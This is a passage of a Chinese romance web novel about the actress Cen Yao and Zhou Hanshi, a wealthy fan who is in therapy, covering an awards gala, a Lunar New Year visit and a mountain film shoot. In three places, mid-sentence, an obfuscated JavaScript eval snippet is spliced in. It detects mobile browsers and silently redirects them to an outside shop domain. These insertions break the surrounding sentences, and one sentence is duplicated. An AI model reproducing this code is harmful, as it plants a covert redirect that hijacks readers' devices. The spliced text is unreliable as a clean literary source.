对粉丝,她一向包容又感恩。 周寒时这样子,就差头上顶着粉丝灯牌了,她很难不藏私心地看待他。 就像现在她已经忍不住在想,刚刚在酒店外面,是不是应该给他签个名再走。 分神之际,周寒时又发来一条消息。 岑遥低头,看见他的留言—— 【下次给你写信好吗?】 - 夜里,小畅和于畔都走了。 岑遥也难得清闲,洗漱完躺在床上,原本打算早点休息,但生物钟很难转变,许久都没有睡意。 室内一片漆黑。 忽如其然的,她又想到周寒时。 平心而论,周寒时比她见过的很多男艺人都要好看,是高级又耐看的长相。 鼻梁窄而挺,眉骨高却不凌厉,也许是因为眼睛。 纤长的睫毛让他的眼睛看起来很漂亮。 岑遥不由地回忆起第一次见到他的时候。 职业需要,她很擅长观察别人,也清楚地记得那晚周寒时的眼眸中欠乏神采,如同平静的深水潭面。 今晚却很有些不一样。 就像潭水还是那片潭水,但有了阳光的投射,于是他眼中也开始波光粼粼。 这就是上班的死感和休假的快乐吗? 岑遥兀自发笑。 她在黑暗中睁大眼睛,隐约察觉到,周寒时身上的特殊感并不仅仅源于他是她的粉丝。 这份特殊难以名状,又似曾相识。 岑遥截断自己的思绪,不想再琢磨。 只是酒店的隔音也不太好,时不时能听见隔壁房间里窸窸窣窣的说话声,辗转几回,还是睡不着。 岑遥索性起身,从行李箱里翻出笔记本电脑,坐到桌前,打开阅读灯,继续构思她的大作。 打开名为“杂记”的文档。 里面只有零星几行内容。 昏昧的灯光下,岑遥单手托腮,对着电脑屏幕思考。 或许这样的夜晚真的能带来灵感,那个一直以来模糊不清的人物逐渐在她脑海中成形。 岑遥目光专注地盯着屏幕,手上飞快打字,记录下这些一晃而过的灵感。 落地帘将光线阻隔,室内昏暗分不清昼夜,直到开始有些精神不济,岑遥才注意到电脑下方的时间。 原来已经早晨六点多了。 她揉一揉发酸的手指,看着屏幕上的内容。 一整夜,她删删改改,写下几千字。 此时才发现,这些年一刻不停地闷头往前走,原来她有这么多的话想说。 - 再回到漴城,已经临近十二月。 落地机场就是小雨天,俐姐前些天才忙完工作上棘手的事,今天专门抽时间来接她。 岑遥夜里写稿,睡得很少,但精力却反常的亢奋,在车上就和经纪人聊完后面一个月的行程。 她今年实打实的忙了一年,年末轻松下来,十二月不用再进组,只需要配合两场电影宣传。 除此之外,还要出席一个办在北城的小型盛典,是电影行业主办的颁奖活动,提名名单前几天刚公布,岑遥在其中。 对完工作,俐姐划了划手上平板,又想起什么。 “对了,我帮你找了个舞蹈老师,你有空的时候联系一下,约好去上课的时间,正好趁这段时间工作少。” 岑遥听完,满脸写着晴天霹雳,一改刚才活力充沛的样子,靠在车座里忧郁地看向窗外。 然而俐姐一声令下,“好好学知道吗,不说让你多精通,起码得学个皮毛吧,顺带松松你这身硬骨头。” 她打量着岑遥,一边嘀咕:“看着长胳膊长腿的,怎么跳个舞这么费劲。” 岑遥也想起尴尬往事。 上半年的一次路演,为了宣传素材,临时加了场小互动,让几位演员跟跳当下网络上流行的舞。 她站在边上,却引来全场瞩目,因为学得最认真,动作最僵硬。 现场视频发出后,还因为营销号的加工,在网上流传了一小阵子。 好在视频底下都是些调侃打趣,网友评价她每个动作都好努力好辛酸,看得出来为了宣传新电影豁出去了。 演员的路人缘也很重要,以后的宣发肯定还有需要上才艺的时候,总不能回回当笑料。 俐姐说着,已经将联系方式推给岑遥。 “你加一下。” 岑遥乖乖点头,拿出手机照做。 屏幕上,又有几条来自周寒时的未读消息。 【你回漴城了吗?】 【最近忙不忙?】 刚刚在机场有几位粉丝接机,递来的几封信被她收在包里,看到信时,她联想到周寒时说要给她写信的话。 这些天关于他的事,她都没有告诉俐姐,已经很不合适了。 岑遥心里叹气,感觉自己有必要规范一下他的粉丝行为。 - 冷雨断断续续下了一周才停,天气好一些的时候,周寒时也抽出时间,去见了自己的心理医生。 赵颐清上次见周寒时还是三个月前的事情。 这三个月里,他总是以工作繁忙为由,推掉她给他安排的回访,没想到今天竟然会主动过来。 记得几年前刚开始接诊周寒时的时候,他还很年轻,十八''''九岁的少年,常穿白色衣服,可能因为生病,他周遭像是氤氲着一团郁气,但眉目仍旧清隽好看。 初步治疗时,她尝试调整他的思维方式,重构认知,鼓励他加深和身边家人朋友的联系,去增强情感支撑。 第一次家庭治疗,赵颐清至今都印象深刻。 因为无法接受品学兼优的天之骄子,为了一个小地方的普通女孩一蹶不振,周寒时的父母不断告诉他这些伤痛不算什么,人生很长,不会只遇到一个喜欢的女孩,这些伤痛会随着时间淡去,他需要重新振作起来,迎接他的新生活。 周寒时那个时候状态很差,极少开口,只在他父母笃定他以后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469481|201398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一定会忘掉那个女孩时,说了句话 ——“我不需要长到可以忘记她的人生”。 话里的意思稍一深想便让他父母心惊胆寒。 他的语气很淡,不是激烈反抗,听上去却比任何言语都决绝。 对当时的那个少年来说,有朝一日会忘记他喜欢的女孩这件事是可怕的。 那也是唯一一次的家庭沟通治疗。 因为赵颐清很快明白,家庭因素也是他的症结所在。 甚至在很早就埋下祸根。 周寒时的父母感情一般,年轻时各自忙事业,对孩子疏于陪伴,却他的学业却严格要求,偶尔出现,也只是像在跟进项目进度一般,追求效率和结果,至于他的心情如何,从不在评价范畴之内。 他的日常生活被交由爷爷奶奶打理照料,老一辈对他爱护有加,但同样充满期冀,生怕看管不力,被儿子儿媳怨怪。 他就这样被包裹在密不透风的环境里长大,没有跌宕,也没有松动的余地。 长期的情感忽视和控制,让他形成不健全的心理结构。 他很小时就在潜意识里建立起一个认知,情绪是无关紧要的,内心滋生的柔软被压缩在角落,久而久之,他的世界变得过于干净和理性,骨子里有一种天生不知疾苦的冷漠、厌世,对尘世间的腌臜没有免疫力。 而那个女孩的出现就像是在他身体里注入抗体。 他喜欢她,依赖她,又猝不及防地失去她。 于是,病来如山倒。 作为他的主治医师,赵颐清很清楚他近几年来的状态都是老样子,虽然按时吃药,但治疗态度并不积极,不关心自己的情况是在好转还是变差。 现在的他,与其说是病情稳定,不如说是从压抑悲伤转变成了习惯。 但这次的周寒时却毫无预兆地带来好消息。 他说自己最近新认识了一个女生。 即使有些奇怪,但赵颐清很欣慰,这也是她经常建议他去做的事,参与社交活动,体会新的人际关系。 周寒时隐瞒了一部分,比如岑遥是蔓蔓这件事。 他不想费口舌说服任何人,也不想被认为患有妄想症。 而且,在完全查明白事情的始末之前,他会保护好关于她的秘密。 咨询室内光线柔和,布置得淡雅简约,窗边放着玻璃制的透明花瓶,清水里插着几支风铃花,粉白花瓣,枝干翠绿。 周寒时坐在单人沙发里,十指微微交叉,静静看着,想到自己上次忘记送她花。 赵颐清问:“你这次主动来见我,也是因为这个新认识的女孩吧?” 周寒时点头。 “我不知道我现在的状态能不能做到和她正常接触。” 他一直都清楚自己的心理问题,但这是第一次担心不健康的状态会影响到生活和交际。 赵颐清笑了笑,“首先要明确的是,其实交际本身就是人和人的互动过程,不论心理状态如何,都会有产生摩擦和情感波动,这是正常的,在相处中,不要过度地将关系的好坏和你的心理状况联系在一起,这样的暗示会带给你负担。” “你的心理问题的关键在于自己,寒时,你知道我的意思,这么多年,你不愿意走出去,心甘情愿的被困住,现在你迈出了这一步,相信自己,以后的路会好走很多。” 她继续问:“方便聊聊她吗?” 他沉默片刻,“暂时算了。” 周寒时想到自己最近在岑遥面前的几次碰壁。 他靠小聪明获得她的信任,好消息是岑遥对他确实不那么公事公办了,口吻带上些温度,但同时也将他挡在了一个界限外,需要时刻守着粉丝和偶像的距离。 岑遥和他说,私联粉丝是不对的,希望他理解,她的工作也需要在私下和异性保持距离。 措辞无懈可击,既带着对“周总”的尊重,也没忘约束粉丝行为。 他也不敢总烦她,他担心自己把握不好方式,弄巧成拙,被她讨厌。 周寒时轻轻牵了牵唇角,为这种还能成立的烦恼甘之如饴。 剩下的时间,他做了一次全面的评估和辅助检查,除了他最近又开始的持续性失眠外,没有出现新的异常指征。 他放心一些,开始考虑下次去见岑遥的时间。 5. 第五幕 盛典当晚,岑遥穿着礼裙到场。 商务车在场地外停下,岑遥下车,身边陪着助理和经纪人。 她出席活动的造型一向都做得简单,今晚也是,黛蓝的无袖礼裙,小裙摆,提花暗纹,发型也只是简单的半扎发。 北城温度低,她围着裸色的素胚披肩,没有佩戴珠光宝气的首饰,仍然给人眼前一亮的视觉效果。 出道以来,放在岑遥身上最多的评价就是“灵气”二字。 演技有灵气,长相有灵气。 当然,每回都有对应的黑稿,把她早期拍的低成本网剧拉出来捶打,截图她的表情,逐帧嘲讽。 但无论如何,岑遥的优势还是摆在那里。 她的五官不是明艳的风格,但骨相生得好,和气质完美融合,双眸乌亮,笑起来甜甜的一张脸,放在大荧幕上,可塑性却又是那么的强。 被路人总结为内娱很新的一种长相。 进到室内,有对接的工作人员上前,领着她们去候场的休息室。 今晚来了很多明星艺人,各家粉丝齐聚,现场秩序有些混乱。 嘈杂声中,岑遥听到几声自己的名字,她寻着声源望去,笑着和两旁的几位粉丝打招呼,接过她们递来的信。 视线移动时,一个有些熟悉的面孔一闪而过。 但他们走得快,岑遥来不及回头,匆匆走过。 到了后台休息间,岑遥找出手机,检查了一下有没有周寒时发的消息。 点进去,还停留在上次的对话。 他的性格和外表一点也不像,话好多,分享欲也强,哪怕她回复的少,他也经常给她发自己的日常。 如果来了北城,应该也会说吧。 手指落在屏幕上,岑遥还是试探地问了一句。 【你最近出差了吗?】 但是发出去便后悔,感觉这句话有点突兀,正想着是再找补一句还是直接撤回时,那边回了消息。 【嗯,我在北城。】 【你看到我了?我听说侧门的入口能看到明星入场,就过去等了一会儿】 他光明正大的追星,根本就没想过瞒她。 哪怕岑遥心里隐隐有所猜测,看到他的话还是不免意外。 她回复他:【没看清,觉得有点像你】 周寒时:【待会儿颁奖的时候,我也会去内场】 场地有限,休息室是共用的,摆了几排椅子,工作人员来来往往,还有进来拍摄取材的记者们,到场的艺人们各自找到熟人聊天,也有认识岑遥的演员过来和她打招呼。 岑遥没再回消息。 但后来盛典开始,她进内场时,还是不自觉地多留意了点。 座位席在台下,光线局限,四处走动的人也多,她没看到周寒时,正准备继续往前,却被人从身后叫住。 “岑遥。” 她回过头,看向周寒时的那刻却忽然怔住。 周身的一切像被隔绝,喧嚣如潮水般疾退,人群定格。 眼前的场景仿佛在迅速回溯到某个熟悉的节点,既视感强烈。 就好像,她曾经预知过这样的画面 ——被周寒时从身后轻声叫住,然后她回头。 无数次的回头。 她片刻的失神被周寒时看在眼中。 “怎么了?”他眼里露出关心。 岑遥摇头,“没事。” 周寒时又重新笑起来,笑得很好看。 点头之交一般打完招呼,他就先离开了。 其实周寒时这个人很有个性,从小到大,他不去和别人争辩,因为没人能左右得了他的想法,改变他想做的事,包括后来生病,也是那么的固执。 但在她面前,他向来轻易服软。 就像现在,因为知道四面八方都架着摄像机,所以哪怕费了一些功夫才见到她,也只是简单打个招呼便错开,很听话地克制自己想凑近她的念头,适应她的新身份,学着和女明星保持距离,避免给她带来不必要的麻烦。 岑遥看到周寒时在座位上坐下。 他坐的位置稍稍靠后,而她被安排在第二排,被提名的演员都在前两排,方便上台。 慢慢挪到自己的位置上,岑遥坐着,想到刚刚一晃而过的感觉。 她上网时刷到过科普视频,知道生理学上将这种错觉称为“海马效应”,也就是指人对没有发生过的事却产生似曾相识感的现象。 原来这种感觉这么真实的。 颁奖活动开始后,摄像机都就位,岑遥也收了心神,虽然不是在拍戏,但也算工作场合,还是得认真对待。 一个个流程走完,到了颁奖环节,获奖名单陆续揭晓。 岑遥凭借去年拍的一部电影拿到了年度最佳新人奖。 去年一年,她的工作不多,但凭借《暗烛》斩获了几个国内的电影奖项,含金量不算很高,但在岑遥眼中,都是认可,她都很珍惜。 掌声四起,岑遥笑着起身,微微鞠躬,而后上台领奖,致谢。 周寒时在台下看着她,目光专注,第一次这样近距离的感受她如今的生活。 一切都与蔓蔓和他畅想过的未来不一样,但周寒时无比确信,她还是那个她。 聚光灯下,岑遥眼里亮闪闪的。 一切都与蔓蔓与他畅想过的未来不一样,但周寒时无比确信,她还是那个她。 依然坚韧,灵动,偶尔也会脆弱,但流完眼泪,还是坚持走下去。 这样的她,就应该被爱和荣誉环绕。 台上,岑遥发完言,视线扫过下面的席位,看向周寒时的方向。 他穿着和周围人差不多的黑色西装,但模样突出,一眼就被她找到。 颁奖活动持续到现在,已经有将近两小时,期间陆陆续续走了不少人,他竟然还坐在原位。 目光交接,周寒时似乎没想到她会看过来,怔愣之后,朝她比了个大拇指,可能怕她看不见,还举高了胳膊,也不管周围是否会有异样的眼光。 有点傻气的样子,半点和他的身份沾不上边。 她忍不住弯了弯唇,握紧了手里的奖杯。 - 盛典结束后已经是深夜,岑遥在后台和助理经纪人碰面。 俐姐上前抱了抱她,“真棒,又多了一个奖。” 岑遥说:“谢谢俐姐。” 她把奖杯交给俐姐代为保管,空出手从小畅那儿拿来保温杯,喝了口温水润喉。 “我去联系一下司机,你和畅先在这等一会儿。”周围太吵,俐姐边拨电话边往人少的地方走。 岑遥留在原地,但也没真的闲下来,不时有人上来搭话,这种场合也是交际场,很多人都会借着机会拓宽朋友圈。 她笑着送走一波又一波,再抬头,就看到周寒时朝这边走了过来。 他不知道靠什么办法弄了张工作证戴在胸前,手里拎了个印着主办方名称的纸袋,像模像样的混在场内的工作人员里。 但那张脸太有辨识度,小畅一看他就认出来,目光在他和岑遥之间来回交换,惊讶得说不出话。 岑遥裹了裹身上的羊绒披肩,望向他。 周寒时上前,走到她面前,把手上的纸袋递给小畅,但视线却是看向岑遥的。 岑遥问他:“这是什么?” “你拆开看就知道了。”周寒时略低下视线,看着她,“还没恭喜你得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469482|201398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奖。” “谢谢。”岑遥道完谢,又想到什么,往小畅手上拎着的纸袋里瞥了一眼,“你不会又送那些奢侈品吧?” 她忽然警惕的表情,让周寒时露出笑,“不是,你放心。” 与岑遥以为的不同,他递完东西没有再借机聊天,抬腕看完表便和她说再见,就像刚刚在内场一样。 匆匆一面,快得没让任何人起疑。 但岑遥发现自己已经没法再无视他的存在。 坐车回酒店的路上,岑遥从小畅那儿拿过那个纸袋,翻了翻里面的东西。 一个毛绒绒的小刺猬挂件,和一封……信。 是他上次说的信。 小畅好奇地探头探脑,但岑遥很快地将东西都塞回袋子里。 副驾上,俐姐正捧着手机回消息,岑遥不知道该怎么和她讲清楚自己和周寒时这些天的际遇,莫名心虚,索性全部瞒下来。 因为过两天在这边的电影城刚好有一场路演,岑遥没有回漴城,要在下榻的酒店多住几天。 当晚,夜深人静的时候,岑遥内心挣扎半天,还是起身,翻出周寒时递来的那个袋子。 拆开信封,她惊奇地发现,周寒时的字和她的很像。 笔锋遒劲,字体却细长,有些娟秀。 她还以为自己写字的风格很有个人特色,没想到竟然不是独一份。 信的内容很长,三张信纸,写得满满当当。 在信里,他写了一些她主演的几部影片的观后感,岑遥能感受出来,他看的很细致,认真解读过她饰演的那些角色。 甚至于,他的许多见解都能引起她的共鸣,精准地写出她理解角色时的所思所想。 聊完她的作品,他又开始聊她,聊自己。 周寒时确实是用心了解过她。 他知道她拍《暗烛》时,不小心从楼梯上摔下去过,问她严不严重,有没有及时去看医生。 知道她去年因为初露锋芒而遭受的非议和诽谤,和她说如果以后有需要,可以找他帮忙,他会给她找最好的律师和公关团队。 知道她常常昼夜颠倒,叮嘱她把健康放在第一位。 …… 一些关心的话,岑遥在其他粉丝的信中也看到过,她感谢周寒时的关心,就像感谢其他粉丝一样。她会尽心做个好演员,绝不退缩,努力配得上大家的喜欢。 但她明白的是,在“演员岑遥”这个身份之外,她匮乏,飘摇不定,从不幻想落地生根,对情感的需求极低。 这不是悲观的消极心态,而是经历太多之后的坦然自处,因为有这样自洽的通透,才能摆正位置,活得轻松。 令周寒时青眼相加的只是表象。 岑遥这样想到。 手上的信纸叠换,在最后一面,他写下这样一段话。 【我人生的大部分时刻都很迷惘,在某一段时间里曾经找到生命的意义,又彻底失去,然后我开始等待一个不可能的结果,直到那天看到你。也许我的话听起来虚浮又夸张,你不会懂,但我还是想和你说,你出现在我的生命里,让我重新找回陷落遗失的一部分自我,变得完整。岑遥,我感激你的存在,它本身对我来说就是意义,无关你是谁。】 岑遥靠坐在床头,膝盖上搭着薄被,捏着信纸的手指头微微用力,纸张上留下褶痕。 她的目光在这段话上流连许久,久到眼眶酸。 她并没有觉得周寒时的话虚假,因为她能理解,人会在某一刻找到属于自己的答案,只需要一个契机。 而她的出现也许就是这个契机。 将心比心,岑遥为之触动,也很好奇,真心想请教他,要怎样才能确定自己的答案。 6. 第六幕 离除夕还有十余天时,岑遥结束了年前所有的工作,剩下的行程都在年后了,这是她特意让俐姐帮忙安排的。 今年太忙,没去看过小姨,她想留出春节前后的时间,回去看看。 漴城连着好几年没下雪,没想到今年大降温,毫无预兆地下了场雪。 岑遥给小畅放了假。 工作之外,她不需要人照顾,所以小畅大多数时候都跟着她一起放假。 没工作的时候,岑遥大部分时间都是一个人宅在家里,外面下着雪,她断断续续地写稿,看书和电影,雪停之后,她按经纪人的要求开始上舞蹈课。 临近年关时,岑遥离开漴城,回凛州过年。 到家的第一天下午,小姨不在家,位于郊区的二层小洋楼空无一人,她简单收拾了一下家里的卫生,晚上很早便洗漱睡觉。 第二天清晨,迷迷糊糊之间,岑遥听见楼下大门的开合声。 不用想都知道,是通宵打麻将的小姨刚回家。 没一会儿,响起“噔噔噔”的上楼声。 “岑遥你回来啦?”岑远沁远远地喊她,天生的声线,自带一股温柔调,和她本人的性格相去甚远。 接着房门被打开,岑远沁在她床边坐下,“哎呀,我都忘记你昨天回来了,等我睡一会儿,中午带你出去吃饭。” 岑遥睁开眼。 眼前的女人四十出头,但只从脸上看不出具体年纪,样貌并不精致,却极有韵味,细细的眉,狭长的眼,皮肤紧致,体态是一种干练的瘦。 岑遥问:“赢钱了吗?” “输得精光。”岑远沁拍拍她的被子,语气理所当然:“所以待会儿你请客哈。” “行。”岑遥懒洋洋地应一声,无奈笑笑,权当孝敬长辈。 岑远沁打个哈欠,起身回去补觉。 房间的门合上,岑遥却睡不着了,索性起床洗漱。 凛州是个很偏北的城市,天气干冷,岑遥洗漱完,先敷了片面膜补水,然后才到楼下,给自己随便做点早餐垫肚子。 虽然年关将至,但房子里没有一点年味。 岑远沁不热衷于过节,哪怕是春节也不重视。 几年前,岑远沁结束旅行生活,辗转几处,最后决定在这个城市定居,所以逢年过节,只要岑遥有空都会来这边歇脚,把这里当做她的新故乡。 岑遥觉得,自己和小姨是相似的人,来自同一个地方,改名换姓地生活。 但她俩又不是一个活法。 岑遥至今都不太了解岑远沁的过往。 不过岑远沁并没有闭口不谈的意思,她的态度更像是不在意,那几年的人生已经翻篇,对她来说不值一提。 所以偶尔,岑遥也能从她口中了解到一些关于她的事。 岑远沁年轻的时候在一个港口城市打工,攒下些积蓄后,靠着工作搭起的人脉开始做生意,有盈有亏,也谈过几个对象,后来和一个大她几岁的男人有了段稳定的恋情,她去到他的城市,在一起很多年,最后在她三十五岁的时候彻底分开,个中纠葛,岑远沁没有赘述过。 之后没多久,岑遥便认识了她,开始跟她一起生活。 说是一起生活,但两人相处的时间零零散散地加上,都凑不满一年。 岑遥被她送到外面读书,读完书紧接着开始工作,而她自己则四处旅行。 两人很少会面,但岑遥并未辜负她。 这两年来,她每年都把自己的一半收入打进岑远沁的账户。 岑远沁不准备结婚生子,再过二十年如果还是独身,岑遥也会负责给她养老。 中午,岑远沁起床,简单打扮后,便和岑遥一起出门吃饭。 岑遥肠胃不好,早上胃口差,只吃了一块面点,但对这顿午饭也没有期待。 因为岑远沁在三十多岁的时候开始吃素,闻不得荤腥,所以很少和人一起共餐,岑遥每回和她吃饭都选素食餐厅。 在餐厅的包厢里坐下后,岑遥摘掉鸭舌帽和口罩,露出素净的一张脸。 对面的岑远沁看着她,像欣赏一件艺术品一样啧啧称赞,“你绝对是我做过最好的一笔投资,相信我吧,岑遥,你能大红大紫的,等以后再火一点,约你出去吃饭都难咯。” 岑遥不置可否,对岑远沁口中的大红大紫并不十分憧憬。 “小姨,现在的生活是你想要的吗?” “当然。”岑远沁都不需要思考。 “为什么问我这个?对自己的现状不满意吗?” “不是。”岑遥垂眼,“我好像不知道该怎么说。” 岑远沁淡淡丢一句:“别说现在的一切都不是你想要的就行。” 岑遥一下子笑出来。 她当然不会说这句话。 在娱乐圈这样的大染缸里待了这么久,她的很多观念还是没被改变,始终维持着很低的物欲,对名和利同样看得很淡。 所以她常常在想,自己绝对是个很好满足的人。 如果现在的人生对她来说已经是最好的,这么久以来,她又在找寻什么? 难道是周寒时信里提到的那个“遗失的一部分自我”? 想起周寒时,岑遥才注意到他最近给她发消息的频率低了许多,估计是热情降下去了,他好歹有份正经工作,也不可能整天围着她打转。 岑遥不知道周寒时最近在做些什么。 那次见完她回来,周寒时就开始为之后的计划做准备。 他的动向被父母看在眼中。 他们发现周寒时毫无预兆地出资注册了一家影视公司,明显有涉足影视产业的意向,手边的工作也开始压缩,推进得更快。 这种有规划和目标的状态,已经很久没在周寒时身上出现过了。 不过还没来得及高兴,周寒时就告知他们,年后他需要一段长假。 一个月或者两个月,说不准。 周寒时这几年都按部就班的工作、生活,现在骤然提出这个变动,他父母难免生成不好的猜测。 春节前他陪家人祭祖。 周家的祠堂在五年前就迁址到漴城,在山上的一处寺庙里。 而原先的老家蕖南镇则成了大家绝口不提的禁地。 回程路上,周母旁敲侧击地问:“怎么忽然想放假了?这两年太累了?” “准备出去散散心。”周寒时说话时,注意力落在手机上,他最近看手机的频率也比以前要高。 “散散心也是好事,准备去哪里?” “还不确定,到处看看吧。” 周父坐在副驾,闻言回头,不放心地再和他确认一遍,“真是去散心?” 周寒时明白他的意思,“放心,不是去自杀。” 这两个字眼只是在嘴上说说都让人提心吊胆。 周母忙解释:“我们不是这个意思。” “别担心我,赵医生说我已经开始好起来了。工作上的事我不会全部丢下,有一些进展过半的项目交给宋奎处理了,邮件我也会定期看。” 蔓蔓还在世,心病的滥觞被根除,他的世界又开始运转,不用再等待解脱的那一天。 - 除夕夜。 岑遥下厨,做了几道素菜。 前些年的春节,岑远沁在外旅游,岑遥独自留在漴城,像今年这样聚在一起的时候不多。 小畅是个恋家的小孩,有次得知她一个人过年,心疼得不行,大年初三就收拾东西回来陪她,岑遥笑她可爱。 比起忙前忙后一整天,再置身事外地看着别人在饭桌上喝酒吹嘘,她更喜欢如今这样清静地过完新年夜,哪怕一个人。 深夜,岑遥和小姨各自回房间休息。 手机里收到很多新年祝福,都是工作中合作过的演员和其他老师,岑遥断断续续地回复。 12点刚过,周寒时的消息准时发来。 他发来的是一段视频。 她点开,没看见人,只看到一只漂亮的手,拿着点燃的烟花棒,焰光在黑夜里四溅,滋滋啦啦地燃尽,静谧几秒后,她听见周寒时的声音。 “岑遥,新年快乐,岁岁平安。” 他的声音在深夜里显得有些不真切,像是从很远的地方传来,又像是很久以前,也曾有人对她说过这样一句普普通通的新年祝福。 岑遥出神,好一会儿才关掉早已播放结束的视频,也给他回复了一句祝福。 - 春节假结束,岑遥复工。 三月初,春暖大地,《碧血》剧组出发前往青夷山。 《碧血》的主线围绕女主角展开,这是一个从大山里走出来,在职场和情场里浮沉数十年,又回到山区投身教育事业的女性角色。 片子里融入了一些现实主义,偏远地区教育水平的差距,少数民族不自由的婚配以及年轻人对于情情爱爱的思考,故事的体系简单,但越简单的故事越不好拍。 岑遥在其中分饰两角——女主的年轻时期和女主的女儿。 样貌一样,但性格截然不同,对她来说是一种新尝试。 祁子亨以前和导演徐铭合作过,剧本围读的时候就和岑遥说:“这回有的磨了。” 岑遥以前没接触过徐导,但是他的作品她都看过,包括没什么知名度的纪录片。 徐铭是学人文 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469483|201398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 社科出身的,半路出家做导演,天赋型人才,对自己的作品严苛到极致,他的个人风格就是跳出传统叙事,把老故事加工,套上独特的氛围,再往里面加点关于人类学的思考,同时也非常注重镜头美学,岑遥很喜欢他对镜头的处理。 青夷山是这次拍摄的主要取景地,是徐铭实地考察好几个地方之后定下来的。 那里的景色和人文生态最贴合故事背景,但环境也是真的艰辛。 开拍前徐铭要求做到绝对的封闭式拍摄,剧组的管理人员还担心难把控,直到高铁转火车再转大巴,最后沿着山路十八弯进了山,才放下心。 交通不便,条件差,主演里也没有流量艺人,估计没几个代拍愿意上来。 剧组在山腰的小民宿住下。 房间有限,剧组人员一再缩减,岑遥和俐姐商量之后,只留下小畅陪自己同住。 民宿的设施陈旧,卫生条件也一言难尽,充其量只是给大家提供一个晚上睡觉的地方,往常拍戏时住过最差的酒店都比这里好。 但在城市的剧情只占全片的三分之一,按照拍摄周期预估,他们至少要在这座山上待三十天。 入住的第一晚,就有很多人叫苦不迭。 小畅以为自己挺能吃苦的,但舟车劳顿一整天,乍然来到这种环境,还是忍不住眼前一黑。 把带来的行李清点完,小畅看向岑遥。 相比之下,岑遥的适应能力好太多,身体素质却很过关,此时还有看夜景的兴致。 岑遥推开窗户,撑在木制窗棱上,身子向外探。 三楼不高,但民宿建在半山腰,视野得天独厚,从她站的位置朝外看,月色下,远处连绵的山望不到尽头,夜雾中,起伏的山脊似浪,山谷幽僻而神秘。这是远离钢铁森林,未被过度加工的自然。 岑遥转过头,和小畅开玩笑:“我们这间还是景观房呢。” 按她这个标准,这一排房间哪个不是? 但小畅还是被她的好情绪感染,勉强恢复一些活力,准备把床铺整理一下,却被拦住。 “你今晚好好休息吧,水土不服容易生病的,我来就行。” “谢谢遥遥姐。”小畅感动得哼唧,肉乎乎的胳膊抱住岑遥,小鸟依人地贴贴她。 其实她们现在的状况已经比剧组其他人好很多。 岑遥在得知拍摄选址在青夷山后,提醒她做了充足的准备,甚至装了两条羽绒被塞在压缩袋里。 青夷山在西南部,即便在冬天温度也很难降到零下,但山里昼夜温差大,夜里降温,体感上还是会冷。 民宿的客流量不大,提供的被子因久不见光而微微有些发潮,但条件有限,没法挑剔。只有小畅能懂,夜里盖上干爽绵软的被子有多舒服。 为了调整工作状态,统筹安排大家休息两天再开机。 第一天,岑遥四处转转,和剧组的工作人员和其他演员互相熟悉。 民宿不大,纯木结构,延用了当地民族古建筑的风格,一楼有供客人吃饭的区域,谈不上是餐厅,但临窗摆了几套油漆剥落的桌椅。傍晚,她和女主演李闵芝一起在这儿吃了晚饭,聊了各自对剧本的想法。 天色渐暗,岑遥回房间休息,注意到这一层最靠里的一间房。 房门外挂着“请勿打扰”的牌子。 昨天入住时,她就发现那里已经有人在住,但直到现在,一整天快过完,她都没看到有人出来走动。 进门后,她和小畅提起。 “这里好像还有别的游客。” “是不是住在最里面那间?你看到啦?” 岑遥摇摇头。 “好像是个摄影师还是画家来着,估计是来采风的吧,我听金金说的,她中午吃饭的时候从老板那儿听来的。” 信号不佳的地区,时间的流速好似比城市要慢,手机变得异常难用,岑遥看了半部缓存的电影便躺下睡觉。第二天睡到自然醒时,天色才蒙蒙亮。 小畅昨晚熬夜看小说,还睡得很沉,岑遥穿戴好衣服,放轻脚步洗漱完,然后推门出去。 这个点没有多少人起床,民宿内静悄悄,还有深夜的余寂,走廊尽头的下悬窗半开半掩,穿堂风吹过,裹着露水的凉意,落在岑遥脸上。 她脚步顿一下,似有所感地往那个方向看去。 昨晚那道久闭的门后响起细微的动静,接着,门锁转动,有人走出来。 那是个高高瘦瘦的男人,穿黑色冲锋衣,黑色长裤,戴着灰色冷帽,手里拎着相机。他将门关上,转过身往楼梯口走。 那是岑遥所在的方向。 两人的视线在下一刻交接。 7. 第七幕 五分钟后,一楼的用餐区,岑遥坐在椅子上,抱着胳膊看着对面的周寒时。 她还是有些反应不过来。 但比起她,刚才周寒时的反应明显更淡定,好像并不惊讶会在这里看到她。 知道她心里有疑问,周寒时主动说:“我听徐导说这边风景很好,就趁着假期来看看。” 岑遥恍然,“所以你是来旅游的?” “也不全是这样,我……知道你在这里拍戏。”他在犹豫之后供认不讳。 岑遥看着他脸上露出罕见的不自在,没忍住地偏开脸笑。 她微微歪着头,打量周寒时。 